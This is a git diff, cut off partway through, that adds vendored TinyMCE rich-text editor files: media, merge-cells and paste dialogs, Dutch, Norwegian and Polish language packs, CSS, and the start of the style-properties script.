'loop,autoplay,cache,controller,correction,enablejavascript,kioskmode,autohref,playeveryframe,targetcache,scale,starttime,endtime,target,qtsrcchokespeed,volume,qtsrc'); + setOptions('shockwave', 'sound,progress,autostart,swliveconnect,swvolume,swstretchstyle,swstretchhalign,swstretchvalign'); + setOptions('windowsmedia', 'autostart,enabled,enablecontextmenu,fullscreen,invokeurls,mute,stretchtofit,windowlessvideo,balance,baseurl,captioningid,currentmarker,currentposition,defaultframe,playcount,rate,uimode,volume'); + setOptions('realmedia', 'autostart,loop,autogotourl,center,imagestatus,maintainaspect,nojava,prefetch,shuffle,console,controls,numloop,scriptcallbacks'); + setOptions('video', 'poster,autoplay,loop,muted,preload,controls'); + setOptions('audio', 'autoplay,loop,preload,controls'); + setOptions('embeddedaudio', 'autoplay,loop,controls'); + setOptions('global', 'id,name,vspace,hspace,bgcolor,align,width,height'); + + if (to_form) { + if (data.type == 'video') { + if (data.video.sources[0]) + setVal('src', data.video.sources[0].src); + + src = data.video.sources[1]; + if (src) + setVal('video_altsource1', src.src); + + src = data.video.sources[2]; + if (src) + setVal('video_altsource2', src.src); + } else if (data.type == 'audio') { + if (data.video.sources[0]) + setVal('src', data.video.sources[0].src); + + src = data.video.sources[1]; + if (src) + setVal('audio_altsource1', src.src); + + src = data.video.sources[2]; + if (src) + setVal('audio_altsource2', src.src); + } else { + // Check flash vars + if (data.type == 'flash') { + tinymce.each(editor.getParam('flash_video_player_flashvars', {url : '$url', poster : '$poster'}), function(value, name) { + if (value == '$url') + data.params.src = parseQueryParams(data.params.flashvars)[name] || data.params.src || ''; + }); + } + + setVal('src', data.params.src); + } + } else { + src = getVal("src"); + + // YouTube *NEW* + if (src.match(/youtu.be\/[a-z1-9.-_]+/)) { + data.width = 425; + data.height = 350; + data.params.frameborder = '0'; + data.type = 'iframe'; + src = 'http://www.youtube.com/embed/' + src.match(/youtu.be\/([a-z1-9.-_]+)/)[1]; + setVal('src', src); + setVal('media_type', data.type); + } + + // YouTube + if (src.match(/youtube.com(.+)v=([^&]+)/)) { + data.width = 425; + data.height = 350; + data.params.frameborder = '0'; + data.type = 'iframe'; + src = 'http://www.youtube.com/embed/' + src.match(/v=([^&]+)/)[1]; + setVal('src', src); + setVal('media_type', data.type); + } + + // Google video + if (src.match(/video.google.com(.+)docid=([^&]+)/)) { + data.width = 425; + data.height = 326; + data.type = 'flash'; + src = 'http://video.google.com/googleplayer.swf?docId=' + src.match(/docid=([^&]+)/)[1] + '&hl=en'; + setVal('src', src); + setVal('media_type', data.type); + } + + if (data.type == 'video') { + if (!data.video.sources) + data.video.sources = []; + + data.video.sources[0] = {src : src}; + + src = getVal("video_altsource1"); + if (src) + data.video.sources[1] = {src : src}; + + src = getVal("video_altsource2"); + if (src) + data.video.sources[2] = {src : src}; + } else if (data.type == 'audio') { + if (!data.video.sources) + data.video.sources = []; + + data.video.sources[0] = {src : src}; + + src = getVal("audio_altsource1"); + if (src) + data.video.sources[1] = {src : src}; + + src = getVal("audio_altsource2"); + if (src) + data.video.sources[2] = {src : src}; + } else + data.params.src = src; + + // Set default size + setVal('width', data.width || (data.type == 'audio' ? 300 : 320)); + setVal('height', data.height || (data.type == 'audio' ? 32 : 240)); + } + }, + + dataToForm : function() { + this.moveStates(true); + }, + + formToData : function(field) { + if (field == "width" || field == "height") + this.changeSize(field); + + if (field == 'source') { + this.moveStates(false, field); + setVal('source', this.editor.plugins.media.dataToHtml(this.data)); + this.panel = 'source'; + } else { + if (this.panel == 'source') { + this.data = clone(this.editor.plugins.media.htmlToData(getVal('source'))); + this.dataToForm(); + this.panel = ''; + } + + this.moveStates(false, field); + this.preview(); + } + }, + + beforeResize : function() { + this.width = parseInt(getVal('width') || (this.data.type == 'audio' ? "300" : "320"), 10); + this.height = parseInt(getVal('height') || (this.data.type == 'audio' ? "32" : "240"), 10); + }, + + changeSize : function(type) { + var width, height, scale, size; + + if (get('constrain').checked) { + width = parseInt(getVal('width') || (this.data.type == 'audio' ? "300" : "320"), 10); + height = parseInt(getVal('height') || (this.data.type == 'audio' ? "32" : "240"), 10); + + if (type == 'width') { + this.height = Math.round((width / this.width) * height); + setVal('height', this.height); + } else { + this.width = Math.round((height / this.height) * width); + setVal('width', this.width); + } + } + }, + + getMediaListHTML : function() { + if (typeof(tinyMCEMediaList) != "undefined" && tinyMCEMediaList.length > 0) { + var html = ""; + + html += ''; + + return html; + } + + return ""; + }, + + getMediaTypeHTML : function(editor) { + function option(media_type, element) { + if (!editor.schema.getElementRule(element || media_type)) { + return ''; + } + + return '' + } + + var html = ""; + + html += ''; + return html; + }, + + setDefaultDialogSettings : function(editor) { + var defaultDialogSettings = editor.getParam("media_dialog_defaults", {}); + tinymce.each(defaultDialogSettings, function(v, k) { + setVal(k, v); + }); + } + }; + + tinyMCEPopup.requireLangPack(); + tinyMCEPopup.onInit.add(function() { + Media.init(); + }); +})(); diff --git a/js/tiny_mce2/themes/advanced/skins/o2k7/merge_cells.js b/js/tiny_mce2/themes/advanced/skins/o2k7/merge_cells.js new file mode 100755 index 0000000..fc2a048 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/skins/o2k7/merge_cells.js @@ -0,0 +1,27 @@ +tinyMCEPopup.requireLangPack(); + +var MergeCellsDialog = { + init : function() { + var f = document.forms[0]; + + f.numcols.value = tinyMCEPopup.getWindowArg('cols', 1); + f.numrows.value = tinyMCEPopup.getWindowArg('rows', 1); + }, + + merge : function() { + var func, f = document.forms[0]; + + tinyMCEPopup.restoreSelection(); + + func = tinyMCEPopup.getWindowArg('onaction'); + + func({ + cols : f.numcols.value, + rows : f.numrows.value + }); + + tinyMCEPopup.close(); + } +}; + +tinyMCEPopup.onInit.add(MergeCellsDialog.init, MergeCellsDialog); diff --git a/js/tiny_mce2/themes/advanced/skins/o2k7/nl.js b/js/tiny_mce2/themes/advanced/skins/o2k7/nl.js new file mode 100755 index 0000000..3ef2c14 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/skins/o2k7/nl.js @@ -0,0 +1 @@ +tinyMCE.addI18n('nl.advanced',{"underline_desc":"Onderstrepen (Ctrl+U)","italic_desc":"Cursief (Ctrl+I)","bold_desc":"Vet (Ctrl+B)",dd:"Definitiebeschrijving",dt:"Definitieterm",samp:"Codevoorbeeld",code:"Code",blockquote:"Citaat",h6:"Kop 6",h5:"Kop 5",h4:"Kop 4",h3:"Kop 3",h2:"Kop 2",h1:"Kop 1",pre:"Vaste opmaak",address:"Adres",div:"Div",paragraph:"Alinea",block:"Opmaak",fontdefault:"Lettertype","font_size":"Tekengrootte","style_select":"Stijlen","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":"","more_colors":"Meer kleuren","toolbar_focus":"Spring naar werkbalk - Alt+Q, Spring naar tekst - Alt-Z, Spring naar elementpad - Alt-X",newdocument:"Weet u zeker dat u alle inhoud wilt wissen?",path:"Pad","clipboard_msg":"Kopi\u00ebren/knippen/plakken is niet beschikbaar in Mozilla en Firefox.\nWilt u meer informatie over deze beperking?","blockquote_desc":"Citaat","help_desc":"Help","newdocument_desc":"Nieuw document","image_props_desc":"Afbeeldingseigenschappen","paste_desc":"Plakken","copy_desc":"Kopi\u00ebren","cut_desc":"Knippen","anchor_desc":"Anker invoegen/bewerken","visualaid_desc":"Hulplijnen weergeven","charmap_desc":"Symbool invoegen","backcolor_desc":"Tekstmarkeringskleur","forecolor_desc":"Tekstkleur","custom1_desc":"Uw eigen beschrijving hier","removeformat_desc":"Opmaak verwijderen","hr_desc":"Scheidingslijn invoegen","sup_desc":"Superscript","sub_desc":"Subscript","code_desc":"HTML bron bewerken","cleanup_desc":"Code opruimen","image_desc":"Afbeelding invoegen/bewerken","unlink_desc":"Link verwijderen","link_desc":"Link invoegen/bewerken","redo_desc":"Herhalen (Ctrl+Y)","undo_desc":"Ongedaan maken (Ctrl+Z)","indent_desc":"Inspringing vergroten","outdent_desc":"Inspringing verkleinen","numlist_desc":"Nummering","bullist_desc":"Opsommingstekens","justifyfull_desc":"Uitvullen","justifyright_desc":"Rechts uitlijnen","justifycenter_desc":"Centreren","justifyleft_desc":"Links uitlijnen","striketrough_desc":"Doorhalen","help_shortcut":"Druk op ALT-F10 voor de werkbalk. Druk op ALT-0 voor hulp.","rich_text_area":"Rich Text Zone","shortcuts_desc":"Toegankelijkheid Help",toolbar:"Werkbalk"}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/skins/o2k7/nl_dlg.js b/js/tiny_mce2/themes/advanced/skins/o2k7/nl_dlg.js new file mode 100755 index 0000000..d3ab5ac --- /dev/null +++ b/js/tiny_mce2/themes/advanced/skins/o2k7/nl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('nl.advhr_dlg',{size:"Hoogte",noshade:"Geen schaduw",width:"Breedte",normal:"Normaal",widthunits:"Eenheden"}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/skins/o2k7/no.js b/js/tiny_mce2/themes/advanced/skins/o2k7/no.js new file mode 100755 index 0000000..0fef8d9 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/skins/o2k7/no.js @@ -0,0 +1 @@ +tinyMCE.addI18n('no.advanced',{"underline_desc":"Understrek (Ctrl+U)","italic_desc":"Kursiv (Ctrl+I)","bold_desc":"Fet (Ctrl+B)",dd:"Definisjonsbeskrivelse",dt:"Definisjonsuttrykk",samp:"Kodeeksempel",code:"Kode",blockquote:"Innrykk",h6:"Overskrift 6",h5:"Overskrift 5",h4:"Overskrift 4",h3:"Overskrift 3",h2:"Overskrift 2",h1:"Overskrift 1",pre:"Pre-formatert",address:"Adresse",div:"Div",paragraph:"Avsnitt",block:"Format",fontdefault:"Skriftfamilie","font_size":"Skriftst\u00f8rrelse","style_select":"Stiler","more_colors":"Flere farger","toolbar_focus":"Skift til verkt\u00f8yknapper - Alt+Q, Skift til editor - Alt-Z, Skift til elementsti - Alt-",newdocument:"Er du sikker p\u00e5 at du vil slette alt innhold?",path:"Sti","clipboard_msg":"Klipp ut/Kopier/Lim er ikke tilgjengelig i Mozilla og Firefox. \n Vil du vite mer om dette?","blockquote_desc":"Innrykk","help_desc":"Hjelp","newdocument_desc":"Nytt dokument","image_props_desc":"Egenskaper for bilde","paste_desc":"Lim inn","copy_desc":"Kopier","cut_desc":"Klipp ut","anchor_desc":"Sett inn/editer anker","visualaid_desc":"Sl\u00e5 av/p\u00e5 usynlige elementer","charmap_desc":"Sett inn spesialtegn","backcolor_desc":"Velg bakgrunnsfarge","forecolor_desc":"Velg skriftfarge","custom1_desc":"Din egen beskriveles her","removeformat_desc":"Fjern formatering","hr_desc":"Sett inn horisontal linje","sup_desc":"Hev skrift","sub_desc":"Senk skrift","code_desc":"Rediger HTML kildekode","cleanup_desc":"Rense grisete kode","image_desc":"Sett inn / endre bilde","unlink_desc":"Fjerne lenke","link_desc":"Sett inn/editer lenke","redo_desc":"Gj\u00f8r om (Ctrl+Y)","undo_desc":"Angre (Ctrl+Z)","indent_desc":"\u00d8k innrykk","outdent_desc":"Reduser innrykk","numlist_desc":"Nummerliste","bullist_desc":"Punktliste","justifyfull_desc":"Blokkjustert","justifyright_desc":"H\u00f8yrejustert","justifycenter_desc":"Midtstilt","justifyleft_desc":"Venstrejustert","striketrough_desc":"Gjennomstreke","help_shortcut":"Trykk ALT F10 for verkt\u00f8ylinje. Trykk ALT 0 for hjelp","rich_text_area":"Redigeringsomr\u00e5de","shortcuts_desc":"Hjelp for funksjonshemmede",toolbar:"Verkt\u00f8ylinje","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":""}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/skins/o2k7/no_dlg.js b/js/tiny_mce2/themes/advanced/skins/o2k7/no_dlg.js new file mode 100755 index 0000000..3ca75ee --- /dev/null +++ b/js/tiny_mce2/themes/advanced/skins/o2k7/no_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('no.advhr_dlg',{size:"H\u00f8yde",noshade:"Ingen skygge",width:"Bredde",normal:"Normal",widthunits:"Enheter"}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/skins/o2k7/pagebreak.gif b/js/tiny_mce2/themes/advanced/skins/o2k7/pagebreak.gif new file mode 100755 index 0000000..acdf408 Binary files /dev/null and b/js/tiny_mce2/themes/advanced/skins/o2k7/pagebreak.gif differ diff --git a/js/tiny_mce2/themes/advanced/skins/o2k7/pastetext.js b/js/tiny_mce2/themes/advanced/skins/o2k7/pastetext.js new file mode 100755 index 0000000..81b1d6a --- /dev/null +++ b/js/tiny_mce2/themes/advanced/skins/o2k7/pastetext.js @@ -0,0 +1,36 @@ +tinyMCEPopup.requireLangPack(); + +var PasteTextDialog = { + init : function() { + this.resize(); + }, + + insert : function() { + var h = tinyMCEPopup.dom.encode(document.getElementById('content').value), lines; + + // Convert linebreaks into paragraphs + if (document.getElementById('linebreaks').checked) { + lines = h.split(/\r?\n/); + if (lines.length > 1) { + h = ''; + tinymce.each(lines, function(row) { + h += '

    ' + row + '

    '; + }); + } + } + + tinyMCEPopup.editor.execCommand('mceInsertClipboardContent', false, {content : h}); + tinyMCEPopup.close(); + }, + + resize : function() { + var vp = tinyMCEPopup.dom.getViewPort(window), el; + + el = document.getElementById('content'); + + el.style.width = (vp.w - 20) + 'px'; + el.style.height = (vp.h - 90) + 'px'; + } +}; + +tinyMCEPopup.onInit.add(PasteTextDialog.init, PasteTextDialog); diff --git a/js/tiny_mce2/themes/advanced/skins/o2k7/pasteword.js b/js/tiny_mce2/themes/advanced/skins/o2k7/pasteword.js new file mode 100755 index 0000000..959bf39 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/skins/o2k7/pasteword.js @@ -0,0 +1,51 @@ +tinyMCEPopup.requireLangPack(); + +var PasteWordDialog = { + init : function() { + var ed = tinyMCEPopup.editor, el = document.getElementById('iframecontainer'), ifr, doc, css, cssHTML = ''; + + // Create iframe + el.innerHTML = ''; + ifr = document.getElementById('iframe'); + doc = ifr.contentWindow.document; + + // Force absolute CSS urls + css = [ed.baseURI.toAbsolute("themes/" + ed.settings.theme + "/skins/" + ed.settings.skin + "/content.css")]; + css = css.concat(tinymce.explode(ed.settings.content_css) || []); + tinymce.each(css, function(u) { + cssHTML += ''; + }); + + // Write content into iframe + doc.open(); + doc.write('' + cssHTML + ''); + doc.close(); + + doc.designMode = 'on'; + this.resize(); + + window.setTimeout(function() { + ifr.contentWindow.focus(); + }, 10); + }, + + insert : function() { + var h = document.getElementById('iframe').contentWindow.document.body.innerHTML; + + tinyMCEPopup.editor.execCommand('mceInsertClipboardContent', false, {content : h, wordContent : true}); + tinyMCEPopup.close(); + }, + + resize : function() { + var vp = tinyMCEPopup.dom.getViewPort(window), el; + + el = document.getElementById('iframe'); + + if (el) { + el.style.width = (vp.w - 20) + 'px'; + el.style.height = (vp.h - 90) + 'px'; + } + } +}; + +tinyMCEPopup.onInit.add(PasteWordDialog.init, PasteWordDialog); diff --git a/js/tiny_mce2/themes/advanced/skins/o2k7/pl.js b/js/tiny_mce2/themes/advanced/skins/o2k7/pl.js new file mode 100755 index 0000000..f7348f1 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/skins/o2k7/pl.js @@ -0,0 +1 @@ +tinyMCE.addI18n('pl.advanced',{"underline_desc":"Podkre\u015blenie (Ctrl+U)","italic_desc":"Kursywa (Ctrl+I)","bold_desc":"Pogrubienie (Ctrl+B)",dd:"Opis terminu",dt:"Definicja terminu ",samp:"Pr\u00f3bka kodu",code:"Kod",blockquote:"Wydzielony blok",h6:"Nag\u0142\u00f3wek 6",h5:"Nag\u0142\u00f3wek 5",h4:"Nag\u0142\u00f3wek 4",h3:"Nag\u0142\u00f3wek 3",h2:"Nag\u0142\u00f3wek 2",h1:"Nag\u0142\u00f3wek 1",pre:"Czcionka o sta\u0142ej szeroko\u015bci",address:"Adres",div:"Div",paragraph:"Akapit",block:"Format",fontdefault:"Rodzaj czcionki","font_size":"Rozmiar czcionki","style_select":"Styl","more_colors":"Wi\u0119cej kolor\u00f3w...","toolbar_focus":"Przeskocz do przycisk\u00f3w narz\u0119dzi - Alt+Q, Przeskocz do edytora - Alt-Z, Przeskocz do elementu \u015bcie\u017cki - Alt-X",newdocument:"Czy jeste\u015b pewnien, ze chcesz wyczy\u015bci\u0107 ca\u0142\u0105 zawarto\u015b\u0107?",path:"\u015acie\u017cka","clipboard_msg":"Akcje Kopiuj/Wytnij/Wklej nie s\u0105 dost\u0119pne w Mozilli i Firefox.\nCzy chcesz wi\u0119cej informacji o tym problemie?","blockquote_desc":"Blok cytatu","help_desc":"Pomoc","newdocument_desc":"Nowy dokument","image_props_desc":"W\u0142a\u015bciwo\u015bci obrazka","paste_desc":"Wklej (Ctrl V)","copy_desc":"Kopiuj (Ctrl C)","cut_desc":"Wytnij (Ctrl X)","anchor_desc":"Wstaw/edytuj kotwic\u0119","visualaid_desc":"Prze\u0142\u0105cz widoczno\u015b\u0107 wska\u017anik\u00f3w i niewidocznych element\u00f3w","charmap_desc":"Wstaw znak specjalny","backcolor_desc":"Wybierz kolor t\u0142a","forecolor_desc":"Wybierz kolor tekstu","custom1_desc":"Tw\u00f3j niestandardowy opis tutaj","removeformat_desc":"Usu\u0144 formatowanie","hr_desc":"Wstaw poziom\u0105 lini\u0119","sup_desc":"Indeks g\u00f3rny","sub_desc":"Indeks dolny","code_desc":"Edytuj \u017ar\u00f3d\u0142o HTML","cleanup_desc":"Wyczy\u015b\u0107 nieuporz\u0105dkowany kod","image_desc":"Wstaw/edytuj obraz","unlink_desc":"Usu\u0144 link","link_desc":"Wstaw/edytuj link","redo_desc":"Pon\u00f3w (Ctrl+Y)","undo_desc":"Cofnij (Ctrl+Z)","indent_desc":"Wci\u0119cie","outdent_desc":"Cofnij wci\u0119cie","numlist_desc":"Lista numerowana","bullist_desc":"Lista nienumerowana","justifyfull_desc":"R\u00f3wnanie do prawej i lewej","justifyright_desc":"Wyr\u00f3wnaj do prawej","justifycenter_desc":"Wycentruj","justifyleft_desc":"Wyr\u00f3wnaj do lewej","striketrough_desc":"Przekre\u015blenie","help_shortcut":"Wci\u015bnij Alt F10 aby pokaza\u0107 pasek narz\u0119dzi. Wci\u015bnij Alt 0 aby otworzy\u0107 pomoc","rich_text_area":"Pole tekstowe","shortcuts_desc":"Pomoc dost\u0119pno\u015bci",toolbar:"Pasek narz\u0119dzi","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":""}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/skins/o2k7/pl_dlg.js b/js/tiny_mce2/themes/advanced/skins/o2k7/pl_dlg.js new file mode 100755 index 0000000..f4e5138 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/skins/o2k7/pl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('pl.advhr_dlg',{size:"Wysoko\u015b\u0107",noshade:"Bez cienia",width:"Szeroko\u015b\u0107",normal:"Normalny",widthunits:"Jednostki"}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/skins/o2k7/popup.css b/js/tiny_mce2/themes/advanced/skins/o2k7/popup.css new file mode 100755 index 0000000..034b985 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/skins/o2k7/popup.css @@ -0,0 +1,9 @@ +input.field, select.field {width:200px;} +input.picker {width:179px; margin-left: 5px;} +input.disabled {border-color:#F2F2F2;} +img.picker {vertical-align:text-bottom; cursor:pointer;} +h1 {padding: 0 0 5px 0;} +.panel_wrapper div.current {height:160px;} +#xhtmlxtrasdel .panel_wrapper div.current, #xhtmlxtrasins .panel_wrapper div.current {height: 230px;} +a.browse span {display:block; width:20px; height:20px; background:url('../../../themes/advanced/img/icons.gif') -140px -20px;} +#datetime {width:180px;} diff --git a/js/tiny_mce2/themes/advanced/skins/o2k7/props.css b/js/tiny_mce2/themes/advanced/skins/o2k7/props.css new file mode 100755 index 0000000..5550b09 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/skins/o2k7/props.css @@ -0,0 +1,13 @@ +#text_font {width:250px;} +#text_size {width:70px;} +.mceAddSelectValue {background:#DDD;} +select, #block_text_indent, #box_width, #box_height, #box_padding_top, #box_padding_right, #box_padding_bottom, #box_padding_left {width:70px;} +#box_margin_top, #box_margin_right, #box_margin_bottom, #box_margin_left, #positioning_width, #positioning_height, #positioning_zindex {width:70px;} +#positioning_placement_top, #positioning_placement_right, #positioning_placement_bottom, #positioning_placement_left {width:70px;} +#positioning_clip_top, #positioning_clip_right, #positioning_clip_bottom, #positioning_clip_left {width:70px;} +.panel_wrapper div.current {padding-top:10px;height:230px;} +.delim {border-left:1px solid gray;} +.tdelim {border-bottom:1px solid gray;} +#block_display {width:145px;} +#list_type {width:115px;} +.disabled {background:#EEE;} diff --git a/js/tiny_mce2/themes/advanced/skins/o2k7/props.js b/js/tiny_mce2/themes/advanced/skins/o2k7/props.js new file mode 100755 index 0000000..5c82ec6 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/skins/o2k7/props.js @@ -0,0 +1,650 @@ +tinyMCEPopup.requireLangPack(); + +var defaultFonts = "" + + "Arial, Helvetica, sans-serif=Arial, Helvetica, sans-serif;" + + "Times New Roman, Times, serif=Times New Roman, Times, serif;" + + "Courier New, Courier, mono=Courier New, Courier, mono;" + + "Times New Roman, Times, serif=Times New Roman, Times, serif;" + + "Georgia, Times New Roman, Times, serif=Georgia, Times New Roman, Times, serif;" + + "Verdana, Arial, Helvetica, sans-serif=Verdana, Arial, Helvetica, sans-serif;" + + "Geneva, Arial, Helvetica, sans-serif=Geneva, Arial, Helvetica, sans-serif"; + +var defaultSizes = "9;10;12;14;16;18;24;xx-small;x-small;small;medium;large;x-large;xx-large;smaller;larger"; +var defaultMeasurement = "+pixels=px;points=pt;inches=in;centimetres=cm;millimetres=mm;picas=pc;ems=em;exs=ex;%"; +var defaultSpacingMeasurement = "pixels=px;points=pt;inches=in;centimetres=cm;millimetres=mm;picas=pc;+ems=em;exs=ex;%"; +var defaultIndentMeasurement = "pixels=px;+points=pt;inches=in;centimetres=cm;millimetres=mm;picas=pc;ems=em;exs=ex;%"; +var defaultWeight = "normal;bold;bolder;lighter;100;200;300;400;500;600;700;800;900"; +var defaultTextStyle = "normal;italic;oblique"; +var defaultVariant = "normal;small-caps"; +var defaultLineHeight = "normal"; +var defaultAttachment = "fixed;scroll"; +var defaultRepeat = "no-repeat;repeat;repeat-x;repeat-y"; +var defaultPosH = "left;center;right"; +var defaultPosV = "top;center;bottom"; +var defaultVAlign = "baseline;sub;super;top;text-top;middle;bottom;text-bottom"; +var defaultDisplay = "inline;block;list-item;run-in;compact;marker;table;inline-table;table-row-group;table-header-group;table-footer-group;table-row;table-column-group;table-column;table-cell;table-caption;none"; +var defaultBorderStyle = "none;solid;dashed;dotted;double;groove;ridge;inset;outset"; +var defaultBorderWidth = "thin;medium;thick"; +var defaultListType = "disc;circle;square;decimal;lower-roman;upper-roman;lower-alpha;upper-alpha;none"; + +function init() { + var ce = document.getElementById('container'), h; + + ce.style.cssText = tinyMCEPopup.getWindowArg('style_text'); + + h = getBrowserHTML('background_image_browser','background_image','image','advimage'); + document.getElementById("background_image_browser").innerHTML = h; + + document.getElementById('text_color_pickcontainer').innerHTML = getColorPickerHTML('text_color_pick','text_color'); + document.getElementById('background_color_pickcontainer').innerHTML = getColorPickerHTML('background_color_pick','background_color'); + document.getElementById('border_color_top_pickcontainer').innerHTML = getColorPickerHTML('border_color_top_pick','border_color_top'); + document.getElementById('border_color_right_pickcontainer').innerHTML = getColorPickerHTML('border_color_right_pick','border_color_right'); + document.getElementById('border_color_bottom_pickcontainer').innerHTML = getColorPickerHTML('border_color_bottom_pick','border_color_bottom'); + document.getElementById('border_color_left_pickcontainer').innerHTML = getColorPickerHTML('border_color_left_pick','border_color_left'); + + fillSelect(0, 'text_font', 'style_font', defaultFonts, ';', true); + fillSelect(0, 'text_size', 'style_font_size', defaultSizes, ';', true); + fillSelect(0, 'text_size_measurement', 'style_font_size_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'text_case', 'style_text_case', "capitalize;uppercase;lowercase", ';', true); + fillSelect(0, 'text_weight', 'style_font_weight', defaultWeight, ';', true); + fillSelect(0, 'text_style', 'style_font_style', defaultTextStyle, ';', true); + fillSelect(0, 'text_variant', 'style_font_variant', defaultVariant, ';', true); + fillSelect(0, 'text_lineheight', 'style_font_line_height', defaultLineHeight, ';', true); + fillSelect(0, 'text_lineheight_measurement', 'style_font_line_height_measurement', defaultMeasurement, ';', true); + + fillSelect(0, 'background_attachment', 'style_background_attachment', defaultAttachment, ';', true); + fillSelect(0, 'background_repeat', 'style_background_repeat', defaultRepeat, ';', true); + + fillSelect(0, 'background_hpos_measurement', 'style_background_hpos_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'background_vpos_measurement', 'style_background_vpos_measurement', defaultMeasurement, ';', true); + + fillSelect(0, 'background_hpos', 'style_background_hpos', defaultPosH, ';', true); + fillSelect(0, 'background_vpos', 'style_background_vpos', defaultPosV, ';', true); + + fillSelect(0, 'block_wordspacing', 'style_wordspacing', 'normal', ';', true); + fillSelect(0, 'block_wordspacing_measurement', 'style_wordspacing_measurement', defaultSpacingMeasurement, ';', true); + fillSelect(0, 'block_letterspacing', 'style_letterspacing', 'normal', ';', true); + fillSelect(0, 'block_letterspacing_measurement', 'style_letterspacing_measurement', defaultSpacingMeasurement, ';', true); + fillSelect(0, 'block_vertical_alignment', 'style_vertical_alignment', defaultVAlign, ';', true); + fillSelect(0, 'block_text_align', 'style_text_align', "left;right;center;justify", ';', true); + fillSelect(0, 'block_whitespace', 'style_whitespace', "normal;pre;nowrap", ';', true); + fillSelect(0, 'block_display', 'style_display', defaultDisplay, ';', true); + fillSelect(0, 'block_text_indent_measurement', 'style_text_indent_measurement', defaultIndentMeasurement, ';', true); + + fillSelect(0, 'box_width_measurement', 'style_box_width_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'box_height_measurement', 'style_box_height_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'box_float', 'style_float', 'left;right;none', ';', true); + fillSelect(0, 'box_clear', 'style_clear', 'left;right;both;none', ';', true); + fillSelect(0, 'box_padding_left_measurement', 'style_padding_left_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'box_padding_top_measurement', 'style_padding_top_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'box_padding_bottom_measurement', 'style_padding_bottom_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'box_padding_right_measurement', 'style_padding_right_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'box_margin_left_measurement', 'style_margin_left_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'box_margin_top_measurement', 'style_margin_top_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'box_margin_bottom_measurement', 'style_margin_bottom_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'box_margin_right_measurement', 'style_margin_right_measurement', defaultMeasurement, ';', true); + + fillSelect(0, 'border_style_top', 'style_border_style_top', defaultBorderStyle, ';', true); + fillSelect(0, 'border_style_right', 'style_border_style_right', defaultBorderStyle, ';', true); + fillSelect(0, 'border_style_bottom', 'style_border_style_bottom', defaultBorderStyle, ';', true); + fillSelect(0, 'border_style_left', 'style_border_style_left', defaultBorderStyle, ';', true); + + fillSelect(0, 'border_width_top', 'style_border_width_top', defaultBorderWidth, ';', true); + fillSelect(0, 'border_width_right', 'style_border_width_right', defaultBorderWidth, ';', true); + fillSelect(0, 'border_width_bottom', 'style_border_width_bottom', defaultBorderWidth, ';', true); + fillSelect(0, 'border_width_left', 'style_border_width_left', defaultBorderWidth, ';', true); + + fillSelect(0, 'border_width_top_measurement', 'style_border_width_top_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'border_width_right_measurement', 'style_border_width_right_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'border_width_bottom_measurement', 'style_border_width_bottom_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'border_width_left_measurement', 'style_border_width_left_measurement', defaultMeasurement, ';', true); + + fillSelect(0, 'list_type', 'style_list_type', defaultListType, ';', true); + fillSelect(0, 'list_position', 'style_list_position', "inside;outside", ';', true); + + fillSelect(0, 'positioning_type', 'style_positioning_type', "absolute;relative;static", ';', true); + fillSelect(0, 'positioning_visibility', 'style_positioning_visibility', "inherit;visible;hidden", ';', true); + + fillSelect(0, 'positioning_width_measurement', 'style_positioning_width_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'positioning_height_measurement', 'style_positioning_height_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'positioning_overflow', 'style_positioning_overflow', "visible;hidden;scroll;auto", ';', true); + + fillSelect(0, 'positioning_placement_top_measurement', 'style_positioning_placement_top_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'positioning_placement_right_measurement', 'style_positioning_placement_right_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'positioning_placement_bottom_measurement', 'style_positioning_placement_bottom_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'positioning_placement_left_measurement', 'style_positioning_placement_left_measurement', defaultMeasurement, ';', true); + + fillSelect(0, 'positioning_clip_top_measurement', 'style_positioning_clip_top_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'positioning_clip_right_measurement', 'style_positioning_clip_right_measurement', defaultMeasurement, ';', true); + 